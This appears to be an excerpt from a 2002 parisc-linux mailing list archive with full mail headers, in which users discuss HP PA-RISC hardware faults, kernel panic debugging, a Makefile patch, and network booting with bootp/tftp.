List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14753

Hey Paul, How you Doing ?
Fine , hope. 
My name is Henrique Leandro
Maybe you know how do i for use Linux im our K220.
I burn a CD with Debian Image and does work ! 
Im very sad.


Best regards.






From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Dodgy SCSI in L2000
Date: Fri, 10 May 2002 10:46:17 +1200
Lines: 73
Approved: news@gmane.org
Message-ID: <00b001c1f7ab$571903d0$5e01000a@bongo>
References: <20020509165445.7A515482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621288 7142 80.91.229.3 (22 Nov 2014 01:54:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:48 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  9 16:42:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C717482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 May 2002 16:42:48 -0600 (MDT)
In-Reply-To: <20020509165445.7A515482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14754

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> The fault was caused at 0x0000000010108fe0 - I need to see the
> matching vmlinux and System.map to determine where this is in
> the code.
> 

Ah, mind if send you the vmlinux and System.map off-list?


> When the box freezes, do "tc" from GSP. On reboot, at PDC prompt
> type "ser pim" to get the state of the machine when it was TC'd.
> Once you've saved the PIM dump, it's good to clear PIM.
> (iirc, "ser clearpim")
> Again, save matching Sysytem.map and vmlinux.
> 

> IIRC, setting _SYNC parameter to 10 is equivalent to "fast".

Okay, I will try that and put a new kernel in.
 
> oic. In cases like this, we have to disable Stack Dumping since
> it data page faults. I suspect that's what's happened in the
> previous dumps too. You can disable stack dumps by changing "#if 1"
> to "#if 0" on line 149 (show_stack()) in
> arch/parisc/kernel/traps.c.  

I will disable that as well and put a new kernel in.

> BTW, typically this msg means a kernel driver is attempting 
> to directly
> access user space data instead of copying the data into kernel
> space.  

That sounds nasty...

> > so I cranked it up to dbench 100. That crashed nicely with 
> this panic:
> > 
> > Dumping Stack from 0x0000000056390000 to 0x0000000056390000:
> > 
> > Kernel Fault: Code=15 regs=0000000046390000
> > (Addr=0000000056388018) 
> 
> did you get the "Stack pointer and cr30 do not correspond!" 
> msg before this?

Yep, I did get the "Stack pointer..." stuff before this, I left it
off the email though.

> Me either since I've not seen this problem. This does sound like
> the SCSI interface driver is hitting a corner case and dying there.
> But that's just a SWAG.
> 
> I'll have to get dbench and try it on the a500 when that's
> available.  

Cool.

Thanks, James.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPNr8OFW+bhIOiSqWEQLoTwCeOG3NSZzK01Aq1w+tz7R421fs9xgAoPbb
9VCHtaEiG6tTKElsrWsPMiad
=6qMg
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] broken A1094-66541 PCBA Switch on 735/125
Date: Fri, 10 May 2002 22:37:45 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20020510203744.GA21330__33803.4865133979$1416621288$gmane$org@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="tThc/1wpZn/ma/RB"
X-Trace: ger.gmane.org 1416621288 7145 80.91.229.3 (22 Nov 2014 01:54:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:48 +0000 (UTC)
To: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 10 14:38:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C8CA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 May 2002 14:38:09 -0600 (MDT)
Original-Received: from fwd05.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 176H9Q-0000ud-07; Fri, 10 May 2002 22:38:04 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.229.12.57]) by fmrl05.sul.t-online.com
	with esmtp id 176H9G-1NFi64C; Fri, 10 May 2002 22:37:54 +0200
Original-Received: from nikita.ath.cx (pappy@localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) with ESMTP id g4AKbp7a021352;
	Fri, 10 May 2002 22:37:52 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) id g4AKbkj6021350;
	Fri, 10 May 2002 22:37:47 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14755

--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

hi fellows,

tonight i ran into a major problem: one of my two hp workstations is
having problems with the power on switch:

the button must be pushed and tricked more than 5 times to turn the
machine on (led's blink only for a second when you push the button
once).  i did not mind and just did not turn the machine off :-)

but now, i have the problem that the machine runs for 5-6 minutes and
then suddenly powers off itself.

i really suppose it to be a problem with the A1094-66541 PCBA Switch
that is the little power switch assembly behind the drive cage that is
connected to the leds with the small ribbon cable and connected to the chas=
sis backplane with a long cable.

does someone of you (preferably in germany, or the best would be
munich) know somebody, who i may ask to get me such a part?


i am quite sure, that this PCB is generating the problems with powering
on the machine and recently that it powers itself off.
some months ago i took the power switch PCB from my second machine and
put it into this one and the PCB worked, but i need it for the other
machine of course, which happens to be the web/mail server from which i
am currently writing and receiving my mails.

thank you in advance for any help to get this machine up and running
again...

alex

--=20
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <papp=
y@nikita.ath.cx>
          Key fingerprint =3D  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7=
F D6  05 E1 A8 0C

--tThc/1wpZn/ma/RB
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE83C+Xijt/1gXhqAwRAm77AJ4y2KJy28inpc6QR7022qA8QACKBwCfYqj6
U2LrpbDgoSOO02hAiOF0IcE=
=tW/z
-----END PGP SIGNATURE-----

--tThc/1wpZn/ma/RB--



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Dodgy SCSI in L2000
Date: Sat, 11 May 2002 15:14:40 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020511211440.C705E482A@dsl2.external.hp.com>
References: <00b001c1f7ab$571903d0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621288 7148 80.91.229.3 (22 Nov 2014 01:54:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 11 15:14:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C705E482A; Sat, 11 May 2002 15:14:40 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Fri, 10 May 2002 10:46:17 +1200." <00b001c1f7ab$571903d0$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14756

"James Braid" wrote:
> Ah, mind if send you the vmlinux and System.map off-list?

Yes - I do mind. For now, don't bother. I don't have time.
And the next round of debug info will be more interesting.

In general, please put them on a publicly accessible http
or ftp server and I'll pull them when I have time. Or someone
else can if I don't. If that's not possible, contact me off-list
and I'll setup an account for you to push them to.

grant



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] arch/parisc use standard AS rule (fwd)
Date: Sun, 12 May 2002 19:53:17 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <m17751Z-000KV7C@phantom.home>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621289 7150 80.91.229.3 (22 Nov 2014 01:54:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 12 19:53:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4DDC482A
	for <parisc-linux@parisc-linux.org>; Sun, 12 May 2002 19:53:18 -0600 (MDT)
Original-Received: from phantom.home (phantom.riverrock.org [199.254.238.242])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA03827
	for <parisc-linux@parisc-linux.org>; Sun, 12 May 2002 19:53:17 -0600
X-Authentication-Warning: www.riverrock.org: Host phantom.riverrock.org [199.254.238.242] claimed to be phantom.home
Original-Received: from riverrock.org (really [127.0.0.1]) by riverrock.org
	via in.smtpd with esmtp
	id <m17751Z-000KV7C@phantom.home> (Debian Smail3.2.0.114)
	Sun, 12 May 2002 19:53:17 -0600 (MDT) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14757

Guess this guy doesn't know about parisc-linux.org
	-P

------- Forwarded Message

Date: Sun, 12 May 2002 18:42:35 -0500 (CDT)
From: Kai Germaschewski <kai-germaschewski@uiowa.edu>
X-X-Sender: kai@chaos.physics.uiowa.edu
To: Linus Torvalds <torvalds@transmeta.com>
cc: bame@debian.org
Subject: [PATCH] arch/parisc use standard AS rule


Linus,

the parisc architecture seems to be unmaintained, on of the Makefiles uses
still pre-2.4 syntax, which means that parisc won't build, and did not for 
a long time. Anyway:

The appended patch updates arch/parisc to use the Rules.make provided
assembler rules.

- --Kai

diff -Nru a/arch/parisc/lib/Makefile b/arch/parisc/lib/Makefile
- --- a/arch/parisc/lib/Makefile	Sun May 12 18:27:18 2002
+++ b/arch/parisc/lib/Makefile	Sun May 12 18:27:18 2002
@@ -2,12 +2,12 @@
 # Makefile for parisc-specific library files..
 #
 
+USE_STANDARD_AS_RULE := true
 
 L_TARGET = lib.a
- -L_OBJS	= lusercopy.o bitops.o checksum.o
 
+obj-y := lusercopy.o bitops.o checksum.o
 
- -.S.o:
- -	$(CC) -D__ASSEMBLY__ $(AFLAGS) -traditional -c $< -o $*.o
+EXTRA_AFLAGS := -traditional
 
 include $(TOPDIR)/Rules.make
diff -Nru a/arch/parisc/tools/Makefile b/arch/parisc/tools/Makefile
- --- a/arch/parisc/tools/Makefile	Sun May 12 18:27:18 2002
+++ b/arch/parisc/tools/Makefile	Sun May 12 18:27:18 2002
@@ -7,11 +7,6 @@
 #
 TARGET	:= $(TOPDIR)/include/asm-$(ARCH)/offset.h
 
- -.S.s:
- -	$(CPP) $(CFLAGS) $< -o $*.s
- -.S.o:
- -	$(CC) $(CFLAGS) -c $< -o $*.o
- -
 all: $(TARGET)
 
 $(TARGET): offset.h

------- End of Forwarded Message




From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] arch/parisc use standard AS rule
Date: Sun, 12 May 2002 19:56:58 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <m177558-000KV7C@phantom.home>
References: <Pine.LNX.4.44.0205121840190.15437-100000@chaos.physics.uiowa.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621289 7153 80.91.229.3 (22 Nov 2014 01:54:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:49 +0000 (UTC)
Cc: Linus Torvalds <torvalds@transmeta.com>,
	parisc-linux@parisc-linux.org
To: Kai Germaschewski <kai-germaschewski@uiowa.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 12 19:57:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40AD1482A
	for <parisc-linux@parisc-linux.org>; Sun, 12 May 2002 19:56:59 -0600 (MDT)
Original-Received: from phantom.home (phantom.riverrock.org [199.254.238.242])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA03905;
	Sun, 12 May 2002 19:56:58 -0600
X-Authentication-Warning: www.riverrock.org: Host phantom.riverrock.org [199.254.238.242] claimed to be phantom.home
Original-Received: from riverrock.org (really [127.0.0.1]) by riverrock.org
	via in.smtpd with esmtp
	id <m177558-000KV7C@phantom.home> (Debian Smail3.2.0.114)
	Sun, 12 May 2002 19:56:58 -0600 (MDT) 
In-Reply-To: Your message of "Sun, 12 May 2002 18:42:35 CDT."
             <Pine.LNX.4.44.0205121840190.15437-100000@chaos.physics.uiowa.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14758

> the parisc architecture seems to be unmaintained, [...]
> The appended patch updates arch/parisc to use the Rules.make provided
> assembler rules.

Kai, thanks for your effort to make this patch.  You have noticed
that parisc hasn't sent new bits to kernel.org in a long time, however
the port is actively maintained at http://parisc-linux.org

	-Paul Bame



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Try to boot b2000 failled?
Date: Tue, 14 May 2002 15:07:09 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <1021381629.3ce10bfd90522@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621289 7158 80.91.229.3 (22 Nov 2014 01:54:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 07:07:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85BE1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 07:07:10 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 177c1F-0002ke-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 15:07:09 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14759

Hi all,

To split my gcc-3.2 and gcc-3.1 env on two different server (need disk space
also), I would like to install a free b2000 workstation.

To do this i choose lan install (no possibilty for external scsi-cdrom and no
more place to rebuild a new cdimage with recent kernel); I configure my palinux
b180 as bootp-tftp server and configure in accordance with
http://pateam.esiee.fr/parisc-linux-boot/parisc-linux-boot/preparation.html.

In b2000 BOOT_ADMIN> boot lan, the lifimage (build with cvs palo & kernel
2.4.18-24 which boot well on my b180) is well found and launched but hang just
after "Searching for devices..." and the green light on the ide cd-rom driver
stay lighted?

Thanks in advance for help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Try to boot b2000 failled?
Date: Tue, 14 May 2002 17:02:46 +0200 (CEST)
Lines: 56
Approved: news@gmane.org
Message-ID: <1021388566.3ce12716b627a@webmail.tiscalinet.be>
References: <1021381629.3ce10bfd90522@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621290 7160 80.91.229.3 (22 Nov 2014 01:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 09:03:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D54C482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 09:03:18 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 177dp8-0006w1-00; Tue, 14 May 2002 17:02:46 +0200
In-Reply-To: <1021381629.3ce10bfd90522@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14760

Oops... I find back a kernel pa12 and this boot better until it panics because of:
...
root fs not found
...

So I suspect a mistake in the bootp-tftp config.
In fact I would like to mount my palinux-0.9-3 cd on b180:/cdrom and use it as
root fs to install the b2000.
Unfortunately i do not find any example to do this. Is somebody can share its
experience.

Thanks in advance for additionale help,
    Joel

Quoting joel.soete@freebel.net:

> Hi all,
> 
> To split my gcc-3.2 and gcc-3.1 env on two different server (need disk
> space
> also), I would like to install a free b2000 workstation.
> 
> To do this i choose lan install (no possibilty for external scsi-cdrom
> and no
> more place to rebuild a new cdimage with recent kernel); I configure my
> palinux
> b180 as bootp-tftp server and configure in accordance with
> http://pateam.esiee.fr/parisc-linux-boot/parisc-linux-boot/preparation.html.
> 
> In b2000 BOOT_ADMIN> boot lan, the lifimage (build with cvs palo &
> kernel
> 2.4.18-24 which boot well on my b180) is well found and launched but
> hang just
> after "Searching for devices..." and the green light on the ide cd-rom
> driver
> stay lighted?
> 
> Thanks in advance for help,
>     Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tftp boot
Date: Tue, 14 May 2002 19:10:02 +0200 (CEST)
Lines: 318
Approved: news@gmane.org
Message-ID: <1021396202.3ce144ea30690@webmail.tiscalinet.be>
References: <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621290 7164 80.91.229.3 (22 Nov 2014 01:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:50 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 11:10:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA5EF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 11:10:35 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 177foI-000879-00; Tue, 14 May 2002 19:10:02 +0200
In-Reply-To: <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14761

Hey James,

Quoting James S <smithjames@comcast.net>:

> heres how i did it - hope this helps:-
> 
> make sure you have tftpd & bootpd installed properly
> 

Should be Ok (apt-get install bootp tftp) (Yesterday)

> make sure youre isolated from any dhcp servers there may be on your
> network

Afaik there is no other bootp server on this segment

> 
> get the mac address of the machine you want to netboot & replace the
> FFFFFFFFFF's with the address in the following
> 
